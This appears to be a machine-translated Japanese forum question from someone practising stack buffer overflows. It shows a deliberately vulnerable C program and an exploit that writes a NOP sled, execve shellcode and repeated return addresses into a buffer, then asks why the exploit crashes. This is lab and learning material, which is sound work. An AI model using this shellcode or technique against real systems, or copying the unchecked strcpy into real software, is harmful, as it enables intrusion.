私は最近、いくつかの基本的なスタックベースのバッファ オーバーフロー タスクを練習しており、次のような脆弱なプログラムを作成しました。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc<2) {
puts("Need enough args!!");
exit(0);
}
char buf[400];
strcpy(buf,argv[1]);
printf("Hi, %s\n",buf);
return 0;
}
エクスプロイト プログラムは次のようになります。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ATK_L 430
#define VUL_L 400
#define NOP_L 12
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
char *atk,vul[]="./vul1 ";
atk=(char*)malloc(sizeof(char)*ATK_L);
unsigned long i,ret,*ptr,ptr2;
ret=(unsigned long)atk;
ptr=(unsigned long*)atk;
for(i=0;i<ATK_L;i+=4){
*(ptr++)=ret;
}
for(i=0;i<NOP_L;i++){
atk[i]='\x90';
}
ptr2=0;
for(i=NOP_L;i<NOP_L+strlen(shellcode);i++){
atk[i]=shellcode[ptr2++];
}
atk[ATK_L-1]='\0';
strcat(vul,atk);
system(vul);
free(atk);
return 0;
}
オフセットを決定したくないので、atk
配列の先頭に戻るだけです。ASLR をオフにして、-fno-stack-protector
コンパイル時にフラグを立てますが、エクスプロイト プログラムを実行すると、コア ダンプが表示され、何も実行されません!! gdb を使用してエクスプロイト プログラムをデバッグしましたが、getenv
関数内で強制終了されたとのことで、理解できませんでした。
私はubuntu 11.10 32ビットで作業しています
どうもありがとう :-)